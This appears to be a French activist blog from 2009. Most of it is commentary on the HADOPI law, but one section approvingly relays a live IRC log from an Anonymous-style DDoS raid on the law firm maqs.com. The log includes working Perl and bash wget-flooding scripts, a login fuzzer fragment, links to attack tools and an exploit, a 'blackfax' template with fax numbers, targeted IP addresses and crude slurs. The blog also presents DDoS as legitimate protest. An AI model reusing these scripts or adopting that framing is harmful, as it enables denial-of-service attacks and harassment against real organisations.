Plusieurs centaines de personnes (entre 300 et 500) se sont réunies aujourd’hui devant l’Assemblée Nationale pour manifester contre l’HADOPI. Des anonymes, des gens plus connus, les amis GCU pour mettre de l’ambiance, des bloggers de choc, pas mal de presse et la présence plébiscitée d’élus (nos mousquetaires) :
Nicolas Dupont Aignan qui a réaffirmé devant les caméras sa volonté de voir le téléchargement légalisé, une position franche et un courage politique remarquable ;
Martine Billard toujours aussi chaleureuse et proche des gens, une député qui maîtrise tant le débat sur sa forme technique que légale ;
Patrick Bloche lui aussi très chaleureusement acclamé par la foule pour son action globale en tant que président du groupe et aux interventions souvent brillantes ;
Et l’immanquable Jean-Pierre Brard toujours aussi passionnant et inspiré quand il s’agit d’expliquer sa vision de la loi Création et Internet ;
Enfin à noter la présence du député Européen Alain Lipietz lui aussi très intéressé au débat, preuve s’il en fallait que l’Europe écoute aussi les internautes.
Seuls absents de marque, Christian Paul, Jean Dionis du Séjour et Lionel Tardy que nous aurions tous aimé remercier de vive voix.
Voici quelques photos volées dont je m’excuse par avance de la qualité « bien mais pas top » 😉
Un drapeau pirate flottant au dessus de la foule pendant l’allocution de Jean-Pierre Brard
iMil et Dzen (GCU) en pleine discutions avec Martine Billard :
Encore iMil buvant les parole du professeur Brard :
Une belle image même si la photo est un peu ratée, un moment de complicité entre Patrick Bloche et Martine Billard (j’espère que d’autres plus doués que moi n’auront pas raté la photo) :
Nicolas Dupont-Aignan en pleine interview, très incisive
J’ai eu la surprise de découvrir hier soir que l’excellent Rue89 citait mon petit blog ainsi que celui de l’ami Crashdump, c’est flatteur, certes, mais cependant une chose m’attriste. La news est intitulée « Téléchargement illégal : les pirates déjà dans l’après Hadopi« . Difficile pour moi d’encaisser le fait que je sois un « pirate ». La querelle sémantique a fait rage au sein de l’assemblée et on ne peut qu’abonder dans le sens du député Brard, quand ce dernier ce saisissant du Littré nous définit le terme « pirate » dans le sens le plus proche des débats qui nous intéressent. Pirate : « Tout homme qui s’enrichit aux dépens d’autrui.«
Un téléchargement n’a jamais eu d’impact positif sur mon compte bancaire, si quelqu’un d’entre vous sait comment transformer un clic de souris en euros sur un compte bancaire, j’aimerais qu’il nous en fasse la démonstration.
Le terme « pirate » est totalement inapproprié, il est le fruit d’une campagne de diabolisation sémantique des internautes : ces méchants internautes qui « volent » les gentils artistes… difficile de faire plus grossier et plus manichéen.
Parlons maintenant du vol :
Comme l’a souligné à maintes reprises Jérémie Zimmerman (La Quadrature du Net) , le vol entend une soustraction , un téléchargement c’est une multiplication. Pour enfoncer le clou, je vous invite à vous référer à la définition du vol par Maître Eolas, je cite : « un vol est l’appropriation frauduleuse de la chose d’autrui. Or il n’y a aucune dépossession en cas de copie illégale d’un film, ce qui exclut tout vol (il en va différemment si on vole la copie d’un film dans un supermarché sans la payer, par exemple, mais c’est le support, non l’œuvre, qui est volé, à son propriétaire, le supermarché, l’auteur ne subissant aucun préjudice). »
Le terme de « Hacker » mérite lui aussi qu’on s’intéresse à lui car trop souvent employé à tort et à travers. un hacker c’est avant tout un bidouilleur, un bidouilleur au sens noble du terme, capable de comprendre et de maîtriser une technologie ou un procédé, et dans certains cas de le détourner. Le hacker est un passionné, un amateur éclairé (amateur au sens de celui qui aime les choses bien faites).
Maintenant la notion de Hacker dépoussiérée, passons au terme hacktiviste :
Je vais vous dévoiler un scoop qui n’en est pas un pour ceux qui me connaissent, je suis un hacktiviste. Je suis un hacktiviste car je mets mes compétences techniques au service de mes idées politiques, je réalise des sites web, j’écris beaucoup, je suis un peu versé dans la SEO, je suis quelqu’un de plutôt sociable et ouvert, je ne refuse jamais le dialogue et j’utilise des méthodes strictement légales et respecteuses des opinions d’autrui.
Je suis un hacktiviste car je crois fermement que l’information doit être libre ;
Je suis un hacktiviste car je trouve systématiquement un moyen de prendre la parole quand on cherche à me bâillonner ;
Je suis un hacktiviste car je ne cautionne pas la désinformation et je n’entends pas la propagande;
Je suis un hacktiviste car je refuse qu’on labellise les informations auxquelles j’accède et que l’on m’interdise l’accès à des informations non certifiées par le gouvernement ou toute autre autorité ;
Je suis un hacktiviste car je ne veux pas faire parti des dommages collatéraux causés par des lois irresponsables aux conséquences non mesurées ;
Je suis un hacktiviste car je suis prêt à me battre politiquement pour mes idées et dénoncer des dérives totalitaristes et liberticides comme la loi Création et Internet.
Je ne suis pas un pirate, je ne suis pas un voleur, je ne suis pas un terroriste, je ne suis pas un dangereux anarchiste, je suis un citoyen, je vote, je suis internaute doté d’un écran, d’un clavier, d’une ip, d’un email, et d’un cerveau … comme vous.
Si vous lisez ce blog, c’est que quelque part, vous aussi vous êtes un hacktiviste : libres d’accéder à l’information présentée ici, libres de la contester, libre de la relayer.
L’hacktivisme est la seule réponse sensée au lobbying qui se situe dans des sphères auxquelles nous n’accédons pas, et personne ne nous interdira d’accéder aux sphères dans lesquelles nous agissons : notre sphère à nous c’est Internet.
Les internautes ne sont pas dupes, ils ont parfaitement compris que sous couvert de protection des artistes (qui peut ici citer une seule mesure dans l’HADOPI qui permettra aux artistes de vivre mieux ?) il est question de transformer l’internet en minitel (voir la vidéo), avec une surenchère de mesures plus stupides les unes que les autres visant à brider cet espace pourtant culturellement et économiquement sain.
Comme nous l’avions fait remarquer à Madame Militello qui s’insurgeait d’une manifestation spontanée ayant paralysé le site jaimelesartistes.fr suite à la provocation gratuite du Ministère de la Culture, nos moyens d’action sont grands. Chercher à nous faire taire, nous refuser le débat, ne servira à rien, nous sommes 25 millions d’internautes, nous sommes 25 millions d’hacktivistes, et si 10% de ces 25 millions d’internautes français manifestent devant leur écran, aucun site ne leur résistera, aucune propagande ne tiendra … nous en viendrons à bout. Et s’il faut aller en préfecture prévenir qu’à un instant T nous manifesterons par notre seule présence sur un site web, nous nous plierons à cette règle, comme pour n’importe quelle manifestation physique. Dans la société civile, un déni de service, on appelle cela une manifestation. Qualifie t-on pour autant les routiers, la SCNF ou la RATP de « pirates » quand ils sont en grève et paralysent nos déplacement ? J’entends que ce droit de rassemblement soit lui aussi reconnu sur Internet qui n’est qu’une transposition numérique de notre société, pour toutes ces raisons, je suis un hacktiviste.
A l’étranger, l’HADOPI fait un brouhaha assez négatif directement en corrélation avec l’attitude de Christine Albanel dont nous somme de plus en plus nombreux à douter de l’indépendance (presque 10 000, et là pour le coup non bidonnés)… Est elle réellement Ministre de la République au service de tous les concitoyen ou s’évertue t-elle à défendre une caste lobbyste… ou s’évertue t-elle à faire appliquer la volonté présidentielle dans un profond mépris de 18 millions d’internautes ?
Rétrospectivement, quand on visionne les débats sur la loi Création et Internet, ce que je vous invite à faire grâce à l’excellent médiakit de la Quadrature du Net, c’est le triptyque de la cybernégation qui nous frappe :
La négation de la réalité des usages et de leur vertus économiques :
1° HADOPI criminalise de fait 8 millions d’utilisateurs qui avouent échanger sur Internet, mais 8 millions d’internautes, ce n’est visiblement pas une signe assez fort pour l’industrie des biens culturels dématérialisables ou Christine Albanel … des études gouvernementales hollandaises et canadiennes, issues de cabinets vraiment indépendant montrent même que non seulement ce sont ces 8 millions de téléchargeurs qui achètent le plus de biens culturels mais qu’en plus tout ceci a un effet globalement positif sur la fréquentation des concerts, l’industrie des produits dérivés et le rapprochement entre les artistes et leur public… On attend toujours en France une étude sérieuse, mais il ne faut pas trop y compter,le gouvernement se ridiculiserait (quid du rapport d’impact sur les DRM d’ailleurs ?).
2° le peer to peer est stigmatisé car il est le mode d’échange le plus massif, mais ce dernier, on l’oublie trop souvent, sert aussi a échanger des fichiers parfaitement légaux, pire il sert même à partager des ressources dans le cadre de la recherche scientifique. Le réduire aux seuls échanges de fichiers soumis à droit d’auteur ou copyright n’est que pire démagogie, tout comme qualifier les internautes de « pirates », nous vous renvoyons à la définition de ce mot dans le dictionnaire. (notons au passage que l’amalgame fait entre copyright et droit d’auteur par le gouvernement, les rapporteurs du projet de loi ou Nicolas Sarkozy lui même, est juridiquement erroné, le copyright n’étant pas imprescriptible et inaliénable).
La négation de la réalité technique :
Je ne vais pas une fois de plus revenir sur le nombre hallucinant de contre vérités technique et la campagne de désinformation du Ministère de la Culture sur la notion d’identification numérique, sur les notions de sécurité qu’il ne ma^îtrise pas lui même et qu’il souhaite que chaque internaute maîtrise sur le bout des doigts en inventant un ridicule et hypocrite « manquement de sécurisation de ligne » … à tout ceci je ne répondrai maintenant que par des liens comme celui ci.
… Et oui la réalité c’est que l’Etat français lui même avec toutes ses directions informatiques n’est pas fichu de sécuriser ses sites web correctement, c’est dire tout le ridicule que de reprocher aux internautes de ne pas savoir comment sécuriser leur propre ligne internet…
Pour se justifier de ses absurdités, Christine Albanel n’a pas d’autre solution que de présenter un soit disant consensus obtenu pour les « Accords de l’Elysée » , que l’on sait aujourd’hui contesté par tous les acteurs de l’Internet, fournisseurs d’accès en tête qui avouent avoir signé une feuille blanche !
Des méthodes de voyous que l’on retrouve malheureusement même à Bruxelles, car la France n’a pas honte d’aller faire pression sur le Parlement Européen …
La négation de la réalité juridique :
Christine Albanel, malgré les nombreux signaux donnés par l’Union Européenne s’évertue à dire à qui veut bien le croire que la réintroduction de l’amendement Bono (amendement 138 réintroduit sous le numéro 46 et adopté à 40 voix contre 4 pour 2 abstentions), qui n’est qu’un rappel du droit, et interdisant à toute autorité de se soustraire à un juge, n’empêchera pas l’HADOPI d’être appliquée. Mais Christine Albanel oublie qu’à la première suspension, la victime de la coupure pourra se retourner contre la Haute autorité et le juge n’aura d’autre choix que de dire le droit en cassant la sanction de suspension. C’est donc bien tout le mécanisme de riposte graduée qui tombe à l’eau et une nouvelle pirouette franco française n’aura pour effet qu’irriter un peu plus les euros députés et nos concitoyens européens qui pointent du doigt la France :
Comme l’a fait Brigitte Zypries, Ministre allemande de la justice qui déclarait récemment : « Je ne pense pas que (la Riposte Graduée) soit un schéma applicable à l’Allemagne ou même à l’Europe. Empêcher quelqu’un d’accéder à Internet me semble être une sanction complètement déraisonnable. Ce serait hautement problématique d’un point de vue à la fois constitutionnel et politique. Je suis sûre qu’une fois que les premières déconnections se produiront en France, nous entendrons le tollé jusqu’à Berlin. ».
Comme l’ont fait les Ministre de la Culture Lena Adelsohn Liljeroth et de celle de la Justice Beatrice Ask : « La proposition dans le rapport Renfors de donner aux FAI le droit et l’obligation de couper les abonnements à internet des internautes dont la connexion a été utilisée de façon répétée pour des violations du copyright a été fortement critiquée. Beaucoup ont noté que la coupure d’un abonnement à Internet est un sanction aux effets puissants qui pourrait avoir des répercussions graves dans une société où l’accès à internet est un droit impératif pour l’inclusion sociale. Le gouvernement a donc décidé de ne pas suivre cette proposition.”
(…) les lois sur le copyright ne doivent pas être utilisées pour défendre de vieux modèles commerciaux
Mais ce n’est pas tout ! La loi création et Internet viole aussi allègrement le code de la consommation en obligeant l’internaute à payer son FAI alors que sa connexion est suspendue (on ne paye qu’un service que l’on reçoit en France).
En outre nous savons aujourd’hui que les mesures de « sécurisation de ligne » (on va dire le mouchard gouvernemental) préconisés par le ministère de la culture ne seront pas interopérables et qu’ils seront payant (nous savons surtout qu’ils ne seront pas plus efficaces qu’un pare feu conventionnel que l’on trouve déjà dans le commerce, n’empêchant en rien à des virus et malwares d’occuper plus de 30% du parc informatique français).
Pour toutes ces raisons l’HADOPI est bien le fruit d’un texte à la constitutionnalité douteuse
Tout ces signaux forts devraient commencer à inquiéter le Ministère de la Culture français, et à travers lui, la présidence de la République qui risque de se trouver très vite à court d’arguments sérieux pour honorer sa promesse pré-électorale faite à l’industrie du disque… c’est surement certainement déjà le cas e certains doivent avoir du mal à trouver le sommeil après le cuisant échec du texte à l’Assemblée Nationale.
Le Parlement européen, lui, prend bien la mesure de cette politique franco française visant à criminaliser les échanges sur Internet sous couvert de protections des artistes alors que RIEN dans dans la loi HADOPI ou dans une autre ne garanti un système de rémunération juste et équitable pour financer la création et les CREATEURS (et non, tous les signataires de la péttion des 10 000 pseudos artistes, dont certains sont carrément des personnages de Science Fiction, que Christine Albanel n’a eu de cesse de brandir à l’Assemblée Nationale ne suffira plus. Il va falloir trouver autre chose).
Seule une nouvelle pirouette diplomatique et une pression française sur le Parlement Européen pourrait venir à bout de toute opposition légale à ce projet de loi stupide. Pour imposer une loi liberticide, il faudra donc exercer des pressions sur l’Europe, au risque de présenter la France sous son image la plus sombre : celle des barbouzes de Bruxelles servant les intérêts d’obscurs lobbies sous couvert de protection d’une création pour laquelle strictement RIEN n’est prévu.
Le blackout, le vrai … c’est pour bientôt, des hacktivistes du monde entier sont en train de se liguer contre l’IFPI. Le Paquet Telecom, la condamnation en première instance de Pirate Bay, l’HADOPI…
Des manifestations numériques pourraient créer de très nombreux embouteillages dans les prochaines heures sur le site de l’IFPI, un premier raid a touché sa cible. Pour en savoir plus voici les bonnes adresses IRC :
irc.AnonNet.org #TPB
irc.raidchan.org #seedsofliberty
Merci à fo0 qui m’aide à couvrir cette cyber manif d’une ampleur rarement vue
LIVE :
— Un gros raid est prévu Jeudi à 02h00 heure française, 23h UTC —
DDoS, Mailbombing, Fax, Téléphone : rien ne sera épargné aux lobbystes promettent les manifestants hacktivistes.
*22:45
— Une attaque vient d’être lancée sur http://maqs.com —.
— Un réseau d’une centaine de bots hostés chez Siemens est en train de bouriner le login.asp —
<+***> I’d take her out to dinner. Then brute force her open ports.
<+F***> I tried a sql injection
<+***> u use forms on a web page
<+***> *****: http://dubstep.7a69.co.uk/~secure/fuzzmaqslogin.pl
— Un fuzzer vient d’être codé —
my $url = ‘http://maqs.com/admin/login.aspx?ctl00$content_holder$Username=’;
sub generate_random_string
{
*22:53
<+***> I edited my grades with SQL injection exploit, it’s win.
*23:09]
<***> DoS ::1
<***> 😀
* a*** wins
* 23:17
<***> raid on thursday or friday?
* 23:20
<+***> Real men use hammers and magnets to binary themselves into the channel
* 23:27
<***> So, what cannons you guise using?
<***> I maight just DDoS
<***> perl cannon
* 23:39 #!/bin/bash
function dl_pub {
while true;
do
wget http://maqs.com/upload/downloads/SCCE%20FOCUS%20NR%204%202007%20%20Board%20member%20liabilities%20part%202.pdf
wget http://maqs.com/upload/downloads/SCCE%20FOCUS%20NR%203%202007%20Board%20member%20liabilities%20part%201.pdf
rm *liabilities*;
done
}
function dl_fake {
while true;
do
wget http://maqs.com/forgreatjustice_forgreatjustice_forgreatjustice_forgreatjustice_forgreorgreatjustice_forgreatjustice_
done
}
* 23:48
<***> if u had your own satelite with an internet connection, u cud hack all u want, and no one cud do fuck all about
<***> lol
<***> it would be so much easier
<***> if you just got every noob
<***> **** owns the bot in this room
<***> to become a slave to the botnet
<***> wats teh targert guyz
<***> :<
<***> and then you don’t have to worry about them fucking firing through a proxxy
<***> maqs.com
<***> target is one two seven zero zero one
<***> kay.
<***> damn
* *** has quit
<***> or shooting at 10 threads a second
<***> kay
<***> Jesus stop fuckin christ
<***> anyone posted in tpb forums?
<***> god damn it
<***> oh sheeeet auchtung
<***> Jesus blinds me
<***> they need a heads up, no?
<***> bold im0
<***> lsat time i tried going into tpb’s forums it 404d
<***> last time i tried going into tpb’s forums i shat brix
<***> ***: !
<***> HAHA TIEM FOR 4CHAN
<***> ddos them all
* 00:00
<***> to ifpi guys : i’m naked playing my dick and listening 8bits people mp3s
* 00:06
<***> f are you an admin with anonnet? like they let you use it for bots? because I swear you have powers on here.
<***> i haf no powerz
<***> oh god
<***> HAHAHAHAHHAHAHAH
<***> With the online faxes. Please explain the process? I really can’t get them to consider the numbers valid
* 00:12
<***> bitch i have 20 oc12s routed thru mozambique i can pump three hundred igmps at u a second
(…) i have over 400 hackers sitting around twiddling their thumbs, waiting on his IP, as soon as we get it, he is: good as dead
* 00:17
* 00:19
<***> 134.29.178.254 DDOS ME
<***> ***: whats ur max upload speed
<***> 4.88
<***> 134.29.178.254 personal army request
<***> mb
<***> i bet you’re requesting someone elses ip
<***> ill packetbomb with my 200mbps
<***> in after PA
<***> we got 38mb up
(…)
<***> why are we ddosing 134.29.178.254?
<***> do a whois
(…)
<***> At least 600 comps there, all on one network
* 00:32
<***> ***: so my zombies are anons
<***> –
<**> sd
<***> sucks.
<***> ***: wine ..
<***> ***: learn hping newfags
<***> ***: wget/ping
<***> ***: *** needs .net
<***> ty guest
<***> code a little spamming shellscript
<***> ok
<***> ***, yep, that’s what my question was about. How do you use wget in an EFFICIENT way ?
<***> ***
<***> wget -r url ? …
<***> wake up bitch
<***> just playing with hping3/scapy enjoy 🙂
<***> ***: -r -O /dev/null
* 00:35
— Invasion Francophone sur le channel —-
* 00:43
<***> i found a new vulnerability
<***> in the maqs website
<***> *** we are distributing propaganda for the attack on maqs.com tomorrow night
<***> what is the vln knightmare01
<***> thug aim
<***> 3 times fast
<***> maqs has over 9000 bandwiches
<***> maqs is the MPAA’s law firm in the trial against tpb
<***> Oh well we’re all over the news now we’re bound to get fresh new recruits for the maq attack
<***> https://owa.maqs.com/exchange <- their exchange server (on their network : 4 public ips)
* 00:48
<***> D(R?)DOS?
<***> lawl
<***> ***: no
<***> IM USING OS/2 WARP
<***> distributed reflection denial of service
<***> http://palisade.plynt.com/issues/2006Apr/ddos-reflection/
<***> whats that
<***> its a pure bandwidth attack
(…)
* *** is hosting the template for thursday’s blackfax attack. Grab your copy now at http://dl.getdropbox.com/u/121432/anonCYMK.pdf
<***> Forward that onto ***
<***> ! first person to get a timestamped picture of *** tits wins
<***> how exactly do we blackfax?
<***> well….depends…if you have 50 comps with a mimimum bandwidth of say 6MB…you could do it.
* 00:54
<***> myfax.com/free/ and faxzero.com allow you to send faxes for free over the internet
<***> I lurve blackfaxing.
<***> if any1 wants help with preparing for the raid , just PM me
<***> alternatively, use a hardware fax, and loop the black sheet of paper with tape so it loops in the fax forever
<***> when ddosing maqs what url will we be using just www.maqs.com or will we ddos the .pdfs?
* 01:05
<***> on the last attack, i wasted close to 650 MiB of my own bandwidth by raeping MAQS’ bandwidth
* 01:13
— On joue à celui qui a la plus grosse ? —
* 01:49
<***> bw rape script: http://pastie.org/454042.txt
<***> just config the 3 variables, and run ‘perl filename.pl’
<***> for anyone who wanted that^
* 01:58
— Le code qui va piquer derrière les yeux — #!/usr/bin/perl -w
#
##################
# #
# WGET BW RAPE #
# #
##################
# #
# by:extrapolate #
# #
##################
##################
# #
# CONFIG BELOW #
# #
##################
my $rape = "http://www.maqs.com/jul07/maqs_jul_07_5.swf"; ##BW RAPE TARGET HERE
my $fork = "3"; ## SET THIS TO THE NUMBER OF THREADS YOU WANT.
## DONT CRASH UR PC. TEST WITH LOWER NUMBERS
## TO SEE IF IT WORKS FIRST
## Keep in mind, the higher you go, the threads
## Then increase exponentially..
## Value of 2 = 14(or something) threads cause each fork starts
## a child process that also starts more children
my $amount = "5"; ## Number of times each thread should WGET
## You can set this super duper high...all it does is tell
## The thread to repeat x number of tiems once it is done
## Higher/lower numbers will NOT impact computer performance
## or your own CPU use...they will just determine length of rape
########### don't touch below here #############################
my $y = 0;
my $x = 0;
$fork=$fork+1;
print "\nRemember to configure the 2 options inside this script\n\$rape : rape target\n\$fork : number of threads (read comment)\n";
print "\n\n Also remember...this will run forever...until you stop it (CTRL-C) :D\n\n"
print "\n\nRaping: $rape\n\n";
sleep(2);
while($y < $fork){
fork();
print "Fork Started...";
$y++;
}
$x=1;
while(1 < 2){ ##FOREVERRRR
my @wgetrape = qx/wget -q $rape -O \/dev\/null/;
print "Finished $x loops in this thread!"
$x++;
}
print "\n\nDone.\n\n";
exit;
exit;
exit;
exit;
exit;
exit;
exit;
exit;
exit;
#exit
* 02:17
<***> we need to get everyone ready to DDoS before using the real target.
(…)
<***> i think that every1 is ready for the ddos attack
<***> http://lmgtfy.com/?q=anon%20logo
<***> use a fake target like http://www.maqs.com/upload/downloads/HOW%20YOU%20SET%20UP%20BUSINESS%20IN%20DENMARK.pdf
<***> for testing.
<***> url= »THE URL HERE »; while [ 1 ]; do wget -q $url -O /dev/null& sleep 0.3 done;
<***> Good syntax, and separates each request by a 0.3 second interval
<***> Which is sensible
<***> For legal load testing purposes that is, I find it useful using on my own servers
* 02:41
<***> cant wait 4 tomorrow at midnite
<***> yay
<***> revenge
<***> this isn’t about TPB themsevles, this is about the case and what it means for the future of the internet. we can’t let big cooperations fuck with the law as they please
(…)
— Tom Cruise Pwn3d by Sciento fighters —
* 04:26
<***> imo , i think that anyone who speaks out against internet censorship and/or scientology is a member of Anonymous
<***> !countdown
<***> It is 0 days 14 hours 15 minutes and 29 seconds until Thursday April 23 2009 UTC time
* 13:20
<***> use the perl script
<***> *** : http://spacediction.pl/anon/extras_wget_raper.pl
* 13:26
<***> pretty smart using wget
<***> rather than brute packet flooding
<***> There is a script in the topic
* 13:44
<***> Is maqs.com the last target, or are there more to come?
<***> ***: That’s what a debugger is for
<***> it works faster than nerds
<***> lol
<***> 127.0.0.1 is what we’re targetting now
* 13:47
<***> do it at the lwest level possible. figure out what bandwidth you have, and hit the lowest level possible that you’re able to overwhelm
<***> why lowest?
<***> because it forces the parent company major headaches, having to reroute one single IP or server cluster, for one company
<***> the point is to cause maximum damage
<***> one ip, pfft, easy reroute
* 14:42
<***> Any idea of suspected participants?(numbers)
<***> ***: gathering numbers for ‘research’?
[<***> Nah just cant wait for tonight
<***> `countdown
<***> It is 0 days 10 hours 3 minutes and 4 seconds until Thursday April 23 2009 UTC time
* 15:56
<***> Yea seriously we have 10 hours to the attack and we’re drasticaly low on new members to the cause and you guys are dicking around. If we want this attack to work we need to pump out propaganda like nothing
* 15:58
<***> We need to recruit as many as we can in the next 10 hours
<***> spam forums.
<***> spam chats…..
<***> http://www.itavisen.no/811395/pirater-planlegger-storangrep well you did get your cause on one of the biggest norwegian IT sites
<***> spam mobiles if u can
<***> hm.. recruit.. trick.. force people..
<***> can we put a message in the BW raper?
* 16:02
<***> *** – http://seedsofliberty.webs.com/
<***> Plenty of other channels on this network though.
<***> i’m just gonna use wget
* 16:06
<***> Why don’t we use a botnet for it?
<***> Well, so if I find the biggest file, and requests it about 2000 times, it will be a bigger hump instead of just using their MAQS.com
<***> freepopfax works
(…)
[<***> like I have said people in here do have botnets, most likely they will use them
* 16:17
<***> lets use conficker to take out the internets………then feel really stupied afterwards when we sit there without teh webs
<***> http://anonym.to/http://seedsofliberty.webs.com
<***> Start posting on some imageboards/messageboards
<***> ***, don’t need to use anonym.to in here
<***> Yea the seedsofliberty is good
<***> to much work – gonna write scripts ;-D
<***> use ettercap to cause major damage to their ARP tables
<...> It is 0 days 9 hours 31 minutes and 46 seconds until Thursday April 23 2009 UTC time
<***> http://www.non-ice.com/files/programs/mailkicker129b.exe <- final product of it... free to use .. bomb in the subject field avtivates mass sending
<***> Is it a mail spammer?
<***> non-ice: thanks for the virus
<***> flooder
<***> err:module:import_dll Library MSVBVM50.DLL (which is needed by L »Z:\\home\\***\\Pulpit\\mailkicker129b.exe ») not found
<***> err:module:LdrInitializeThunk Main exe initialization for L »Z:\\home\\***\\Pulpit\\mailkicker129b.exe » failed, status c0000135
<***> lawl
<***> ***: lawl
<***> 🙁
<***> lol you need to install visual basic to run it
<***> or
<***> get s shell acount somewhere and abuse it
* 17:20
<***> ***: look for SMSBomb.exe
* 17:47
<***> woot i hae a sms bomber for kazakhstan
* 17:55
<***> omg look at that
<***>http://www.partyvan.info/wiki/Operation_Baylout
<***> ya
<***> cancelled
<***> orly?
<***> »The ONLY result these childish excuses for « raids » will have, is to disgrace the whole file-sharing community. »
<***> cancelled? realy?
<***> anyone can edit that shit
<***> nothing is canceled
<***> whats a good server to make a IRC room?
<***> someone probably just edited that shit in there to try and stop us
<***> can anyone access partyvan.info/wiki?
<***> i’m having trouble here
<***> yup
<***> seems fine
<***> hmmm
<***> ok
<***> cant get it either
<***> weird
<***> is the RIAA DDoSing us?
<***> ‘tecnical difficulties’
<***> partyvan.info is damn slow, plz don’t give a try to ur ddos tools on it 🙂
<***> nah lol
<***> lawl yeah
* 18:07
<***> are we going to make botnets?
<***> hey i am
<***> right now
* 18:15
<***> tonite is a nite that monique wadsted will never forget
<***> the raid will go ahead as planned people
<***> we are anonymous, we are legion .We do not forgive , we do not forget
* 18:59
<***> It is 0 days 6 hours 57 minutes and 14 seconds until Thursday April 23 2009 UTC time
<***> and is anyone actualy collecting infos about the people who work there ?
<***> we should send over 9000 as we DDoS, so we completly fuck all their shit up
<***> is there an imacro out there for blackfaxing?
* 20:18
<***> omg they hacked partyvan why ???
<***> email spammer
<***> if we tripple the userns we could barly write
<***> www.partyvan.info right?
<***> omghi stfu ok
<***> who hacked partyvan?
<***> ***: omg you are one of the hackerz ?
<***> ***, no ONER
* 20:20
<***> spam this link around all the /b/’s, when we got enough zombies just tell em how to bwraep, ddos or fax and were done
* 20:24
[20:24] <***> We shall go on to the end, we shall fight in the forums, we shall fight on the servers and faxes, we shall fight with growing confidence and growing strength, we shall defend our torrents, whatever the cost may be, we shall fight on the networks, we shall fight on the image boards, we shall fight in the blogs and in the tubes, we shall fight in the chat rooms; we shall never surrender, and even if, which I do not for a moment believe, this community or any pirate community were subjugated and starving for warez, then our coalition amongst the tubes, armed with proxies, Epic Fail Cannons, and LOIC’s and guarded by anonymous, would carry on the struggle, until, in good time, the rest of the internet, and the world, with all its power and might, steps forth to the rescue and the liberation of the seeders.
— Presque 250 personne sur l’un des 4 channels dédiés et l’attaque est prévue dans plus de 3h30 —
<***> Smurfing is a type of DoS attack
<***> ***: do you know syn flooding?
<***> smurf.exe is a screen mate who looks like old smurf, dancing around ur start button
<***> o thanks
<***> else: yeah
<***> GO PIRATES
<***> someone should use a botnetttt
* 23:12
<***> ***, are the other IRC’s involved?
<***> FOR GREAT RUSSSIA WE WILL PROVAIL/cruise controll
<***> We will get the ebums jewgrounds 4chan etc involved in about an hour
<***> YOU STILL HAVE TO STEER
<***> *** 4chan is already involved
<***> ***: depends how much it can handle
<***> 34 Minutes and 26 Seconds to go until: WE BEGIN OUR ASSAULT!!!
<***> works on win2k/xp/vista/2k3
<***> all service packs
<***> try different amounts
<***> ***: heh yeah
<***> nice 😉
<***> extrapolate: i have a quad, i have 10 right now, how good is that?
<***> *** I wish I had your botnet…
<***> We shall go on to the end, we shall fight in the forums, we shall fight on the servers and faxes, we shall fight with growing confidence and growing strength, we shall defend our torrents, whatever the cost may be, we shall fight on the networks, we shall fight on the image boards, we shall fight in the blogs and in the tubes, we shall fight in the chat rooms; we shall never surrender, and even if, which I do not for a moment believe, this
* 01:27
— 320 personnes sur le channel #tpb !!! —
<***> M.P.A.A. Fax #: 914-333-7541. MAQS Fax #: +46 8 407 09 10. 8×11″ template for blackfax (CMYK for optimal ink cartridge raep): http://dl.getdropbox.com/u/121432/anonCMYK.pdf Free faxes over the Internet : http://digg.com/u11a12 http://www.freepopfax.com/ http://myfax.com/free/
<***> 28 Minutes and 44 Seconds to go until: WE BEGIN OUR ASSAULT!!!
(…)
<***> NEW VERSION OF LAZER http://www.sendspace.com/file/1hef6w
<***> injection exploit: http://rapidshare.com/files/224600643/pwnMAQS.exe.html
* 01:32
— La manifestation commence dans 32 minutes et maqs.com a déjà du mal —
<***> 7 Minutes and 47 Seconds to go until: WE BEGIN OUR ASSAULT!!!
===========
<***> !countdown
<***> 0 Minutes and 52 Seconds to go until: WE BEGIN OUR ASSAULT!!!
===========
—- c’est parti —
[01:56] 0 Minutes and 0 Seconds to go until: WE BEGIN OUR ASSAULT!!!
[01:56] -DISABLE`/#tpb- GO GO GO GO GO GO GO GOG OG OG OG OG GO GOG OG OGOG OGGOGOGOGOOGOGOGOOGOGOGOGO
<***> FIRE LAZERS NAO
<***> FIRE LAZERS NAO
<***> FIRE LAZERS NAO
<***> FIRE LAZERS NAO
<***> LAUUUUUUUNCH
<***> GOOOOOOOOOOO
<***> FIRE LAZERS NAO
—- Le site a explosé à la seconde même de l’attaque —-
PoolWorker-9 URLError(error(61, 'Connection refused'),)
PoolWorker-7 URLError(error(61, 'Connection refused'),)
PoolWorker-25 URLError(error(61, 'Connection refused'),)
PoolWorker-19 HTTP Error 404: Not Found HTTPError()
PoolWorker-35 HTTP Error 404: Object Not Found HTTPError()
PoolWorker-6 URLError(error(61, 'Connection refused'),)
PoolWorker-39 URLError(error(51, 'Network is unreachable'),)
C’est un camouflet de plus pour Christine Albanel, l’amendement 138 dit Amendement Bono / Cohn Bendit, réintroduit par Catherine Trautmann sous le numéro 46 vient d’être revoté ! 40 voix contre 4 pour 2 abstentions !
On peut parler d’une gifle, d’une déculotée de plus pour un gouvernement qui s’obstine à servir d’obscurs intérêts en autorisant des milices privées à la solde de grands groupes en voulant faire croire à qui il le peut qu’il protège des artistes alors que rien dans le dispositif n’a été prévu pour améliorer leur niveau de rémunération.
Si l’industrie du disque arrivait à imposer l’HADOPI, nous avons du mal à imaginer ce que celà pourrait être avec un lobby plus puissant.
La pression de l’Union européenne se confirme, cet amendement qui n’est qu’un rappel du droit européen interdit de soustraire à l’autorité judiciaire l’application d’une sanction. Concrètement, un juge n’aura pas d’autre choix que de casser la sanction de l’HADOPI !!
Il apparaît maintenant clair que la démission promise par Christine Albanel ne devrait plus se faire attendre … a moins que le Parlement français ne soit prêt à voter une loi que le premier juge cassera !
Il faut dire que les propos de Jean-François Copé ont de quoi nous faire sourire quand il affirme « la notion de Parlement godillot me parait derrière nous« .
Pour fêter ça, un site web sur l’actualité folle des députés godillots qui votent des lois qu’ils ne comprennent pas ou partiellement a été ouvert. C’est plein d’humour et criant de vérité, je vous invite donc à fréquenter cet observatoire des godillots de l’Assemblée Nationale, les prochains jours risquent de nous en révéler un paquet. Combien seront ils à se mettre leur électorat à dos ? Faites chauffer les magnétos, nous ressortirons les bandes au moment où ils nous demanderont de voter pour eux
